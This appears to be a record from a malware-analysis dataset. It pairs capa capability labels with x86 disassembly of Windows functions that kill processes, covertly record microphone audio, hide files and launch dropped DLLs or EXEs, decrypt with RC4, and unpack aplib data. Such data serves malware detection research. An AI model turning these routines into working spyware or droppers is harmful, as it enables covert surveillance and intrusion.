joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405760
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
lea eax, [ebp - 0x134]
push eax
push ebx
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x405871
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x4057a0
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4057b0
sub eax, edx
inc eax
push eax
call fcn.0041f974
mov esi, eax
lea eax, [ebp - 0x110]
mov edx, esi
mov ecx, eax
add esp, 4
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4057d1
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4057e0
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x405806
mov al, byte [ecx + esi]
cmp al, 0x41
jl 0x405801
cmp al, 0x5a
jg 0x405801
add al, 0x20
mov byte [ecx + esi], al
inc ecx
cmp ecx, edx
jl 0x4057f1
mov ecx, dword [ebp + 8]
mov eax, esi
jmp 0x405810
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405830
test dl, dl
je 0x40582c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405830
add eax, 2
add ecx, 2
test dl, dl
jne 0x405810
xor eax, eax
jmp 0x405835
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x405852
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call edi
test eax, eax
je 0x405852
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.00420c4b
add esp, 4
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4057a0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.004204c6
mov esp, ebp
pop ebp
ret

Function at 0x405890
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0x184
push 0
push esi
xor bl, bl
call fcn.00428cb0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
mov dword [ebp - 8], 0x184
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x4058f4
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4058ea
mov bl, 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406200
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x443b41], 0
jne 0x4062ac
push ebx
call fcn.00405690
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x40622d
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406224
sub eax, edx
add eax, 0x104
push eax
call fcn.0041f974
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x443b18], eax
mov dword [ebp - 4], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test ebx, ebx
je 0x4062a4
mov ecx, dword [0x443b18]
push esi
push edi
lea edi, [ecx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x406261
mov dx, word [0x43c8e0]
mov eax, ebx
mov word [edi], dx
mov esi, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x406277
sub eax, esi
lea edi, [ecx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x406283
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call fcn.00420c4b
add esp, 4
pop edi
pop esi
mov byte [0x443b41], 1
pop ebx
mov eax, dword [0x443b18]
mov esp, ebp
pop ebp
ret

Function at 0x4062c0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x43c448
push eax
call fcn.004217a9
mov esi, eax
add esp, 8
test esi, esi
je 0x4063a1
push ebx
push edi
push 2
push 0
push esi
call fcn.00421fe6
push esi
call fcn.00421ef7
mov edi, eax
push edi
call fcn.0041f974
push 0
push 0
push esi
mov dword [ebp - 4], eax
call fcn.00421fe6
add esp, 0x20
xor ebx, ebx
test edi, edi
jle 0x406336
lea ecx, [ecx]
push esi
call fcn.00420ed7
add esp, 4
test eax, eax
jne 0x406336
mov ecx, dword [ebp - 4]
push esi
push 1
lea edx, [ebx + ecx]
push 1
push edx
call fcn.00421b00
inc ebx
add esp, 0x10
cmp ebx, edi
jl 0x406310
push esi
call fcn.004220cf
add esp, 4
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x406362
cmp ecx, dword [ebp + 0x10]
jl 0x40634e
xor ecx, ecx
mov edx, dword [ebp + 0xc]
mov dl, byte [ecx + edx]
mov esi, dword [ebp - 4]
neg dl
xor byte [eax + esi], dl
inc eax
inc ecx
cmp eax, edi
jl 0x406347
mov eax, dword [ebp + 8]
push 0x43c44c
push eax
call fcn.004217a9
mov esi, eax
add esp, 8
test esi, esi
je 0x406398
mov ecx, dword [ebp - 4]
push esi
push edi
push 1
push ecx
call fcn.00421ce9
push esi
call fcn.004220cf
add esp, 0x14
pop edi
pop ebx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407330
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push str.PROGRAMFILES
call fcn.00420d10
mov esi, eax
push str.SYSTEMDRIVE
mov dword [ebp - 4], esi
call fcn.00420d10
mov edi, eax
mov eax, esi
add esp, 8
mov dword [ebp - 8], edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407360
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407370
sub eax, esi
lea eax, [eax + edx + 0x80]
push ebx
push eax
call fcn.0041f974
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 4
mov esi, eax
mov edi, 0x442b74
mov ecx, dword [edi]
mov edx, dword [ebp - 4]
push ecx
push edx
push 0x43c3b4
push esi
call fcn.00420bc7
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x4073c0
add edi, 4
cmp edi, 0x442ba8
jl 0x407397
jmp 0x4073c7
mov byte [0x443b43], 1
mov edi, 0x442c40
lea esp, [esp]
mov eax, dword [edi]
mov ecx, dword [ebp - 8]
push eax
push ecx
push 0x43c3b4
push esi
call fcn.00420bc7
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x407407
add edi, 4
cmp edi, 0x442c4c
jl 0x4073d0
pop ebx
push esi
call fcn.00420c4b
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.00420c4b
add esp, 4
push 0
call fcn.00422a95
int3
Function at 0x407e10
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00401630
mov edi, eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x407e53
push edi
call fcn.00422afd
add esp, 4
push edi
call fcn.004020e0
add esp, 4
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407e58
sub eax, edx
add eax, 8
push eax
call fcn.0041f974
add esp, 4
push edi
mov esi, eax
push str._s
push esi
mov dword [ebp - 0x138], esi
call fcn.00420bc7
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push esi
call fcn.00422452
add esp, 8
mov dword [ebp - 0x134], eax
test eax, eax
je 0x407f83
cmp eax, 0xffffffff
je 0x407f83
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407eb6
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x10c]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407ed0
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041f974
add esp, 4
lea edx, [ebp - 0x10c]
push edx
push edi
mov esi, eax
push 0x43c3b4
push esi
call fcn.00420bc7
lea eax, [ebp - 0x10c]
push str..dll
push eax
call fcn.00422350
add esp, 0x18
test eax, eax
je 0x407f1c
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x407f47
lea ecx, [ebp - 0x10c]
push str..exe
push ecx
call fcn.00422350
add esp, 8
test eax, eax
je 0x407f47
push 5
push 0
push 0x43c5b8
push esi
push str.open
push 0
call ebx
push esi
call fcn.00420c4b
mov eax, dword [ebp - 0x134]
add esp, 4
lea edx, [ebp - 0x130]
push edx
push eax
call fcn.00422579
add esp, 8
test eax, eax
je 0x407eb1
mov ecx, dword [ebp - 0x134]
push ecx
call fcn.004226a7
mov esi, dword [ebp - 0x138]
add esp, 4
push esi
call fcn.00420c4b
add esp, 4
push edi
call fcn.00420c4b
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004204c6
mov esp, ebp
pop ebp
ret
Function at 0x409a40
Capabilities:
Capture microphone audio

Disassembly:
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409a45
push esi
sub eax, edx
add eax, 0x20
push edi
push eax
call fcn.0041f974
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
add esp, 4
push 0
push 0
push 0
push str.open_new_type_waveaudio_alias_mic_buffer_6
mov edi, eax
call esi
push 0
push 0
push 0
push str.record_mic
call esi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push str.stop_mic
call esi
push ebx
push str.save_mic__s
push edi
call fcn.00420bc7
add esp, 0xc
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push str.close_mic
call esi
push edi
call fcn.00420c4b
add esp, 4
pop edi
pop esi
ret
Function at 0x40a340
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a4a8
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a360
sub eax, edx
push eax
call fcn.0041f974
mov esi, eax
mov eax, edi
add esp, 4
mov dword [ebp - 4], esi
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a380
sub eax, ecx
push eax
call fcn.0041f974
push eax
push esi
push 0
push 0
push edi
mov dword [ebp - 8], eax
call fcn.00422e33
add esp, 0x18
call fcn.004018f0
cmp byte [0x443b40], 0
mov dword [ebp - 0xc], eax
jne 0x40a3be
call fcn.00401040
mov byte [0x443b40], 1
mov eax, dword [0x443b78]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a3d0
sub eax, edx
mov ebx, eax
call fcn.00406200
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a3e3
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a3f3
sub eax, esi
add eax, edx
lea ecx, [eax + ebx + 0x80]
push ecx
call fcn.0041f974
add esp, 4
cmp byte [0x443b40], 0
mov esi, eax
jne 0x40a425
call fcn.00401040
mov byte [0x443b40], 1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [0x443b78]
mov ebx, dword [edx + 0x94]
push eax
push ecx
call fcn.00406200
push eax
push ebx
push str._s_comp_sext_s._s
push esi
call fcn.00420bc7
mov ebx, dword [ebp - 0xc]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404be0
add esp, 0x1c
test eax, eax
jne 0x40a487
nop
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a487
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404be0
add esp, 4
test eax, eax
je 0x40a460
mov edx, dword [ebp - 4]
push edx
call fcn.00420c4b
mov eax, dword [ebp - 8]
push eax
call fcn.00420c4b
push ebx
call fcn.00420c4b
push esi
call fcn.00420c4b
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4204c6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x440480]
jne 0x4204d0
repz ret
jmp fcn.00425058

Function at 0x4326c1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0042660b
and dword [ebp - 0x14], 0
cmp dword [0x443a44], 0
mov dword [ebp - 0x18], eax
jne 0x432774
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x43281c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x43281c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x443a44], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x443a48], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x443a4c], eax
call edi
push eax
call esi
mov dword [0x443a54], eax
test eax, eax
je 0x432774
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x443a50], eax
mov eax, dword [0x443a50]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4327cd
cmp dword [0x443a54], ecx
je 0x4327cd
push eax
call esi
push dword [0x443a54]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4327cd
test ebx, ebx
je 0x4327cd
call edi
test eax, eax
je 0x4327c4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4327c4
test byte [ebp - 8], 1
jne 0x4327cd
or dword [ebp + 0x10], 0x200000
jmp 0x432800
mov eax, dword [0x443a48]
cmp eax, dword [ebp - 0x18]
je 0x432800
push eax
call esi
test eax, eax
je 0x432800
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x432800
mov eax, dword [0x443a4c]
cmp eax, dword [ebp - 0x18]
je 0x432800
push eax
call esi
test eax, eax
je 0x432800
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x443a44]
call esi
test eax, eax
je 0x43281c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x43281e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004204c6
leave
ret
Function at 0xa2e478
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00a2e5c8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xa2e49e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa2e48a
add dl, dl
jne 0xa2e4a9
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa2e4fc
xor eax, eax
add dl, dl
jne 0xa2e4b6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa2e59d
add dl, dl
jne 0xa2e4c5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa2e4d0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa2e4db
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa2e4e6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xa2e4f2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xa2e495
mov eax, 1
add dl, dl
jne 0xa2e50a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa2e515
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa2e501
sub eax, ebx
mov ebx, 1
jne 0xa2e548
mov ecx, 1
add dl, dl
jne 0xa2e52e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa2e539
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa2e525
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa2e495
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xa2e55f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa2e56a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa2e556
cmp eax, 0x7d00
jae 0xa2e58d
cmp eax, 0x500
jb 0xa2e588
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa2e495
cmp eax, 0x7f
ja 0xa2e590
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa2e495
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xa2e5be
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xa2e495
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10085c50
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x101a3e50]
xor edx, edx
cmp eax, edx
jne 0x10085c76
xor eax, eax
mov byte [eax + 0x101a3d50], al
inc eax
cmp eax, 0x100
jl 0x10085c5e
mov dword [0x101a3e50], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x101a3d50
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x10085d07
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x10085cda
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x10085ca8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x10085d80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x10085dd3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x10085dba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1008ce10
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x1008cfa8
cmp ebp, ebx
jle 0x1008cfa8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x1008ce6e
dec eax
or eax, 0xfffffff8
inc eax
je 0x1008ce75
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, 0x80000001
jns 0x1008ce84
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x1008ce8b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.100db1f7
add esp, 4
cmp eax, ebx
je 0x1008ceac
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.100db1f7
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x1008cf9e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x1008cf85
mov al, byte [edx]
cmp al, 0xc0
jbe 0x1008cf71
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x1008cf66
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x1008cf74
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x1008cf74
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x1008cf10
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x1008cf01
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x10094c00
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x100e8088
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.10095780
lea edx, [esp + 0x18]
push eax
push edx
call dword [0x100ea4d8]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [0x100ea54c]
test eax, eax
je 0x10094ca9
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.10094890
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [0x100ea518]
push edi
lea ecx, [esp + 0x4c]
call fcn.100e1e24
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.100ab3e0
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [0x100ea114]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [0x100ea574]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [0x100ea50c]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.100e1e96
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14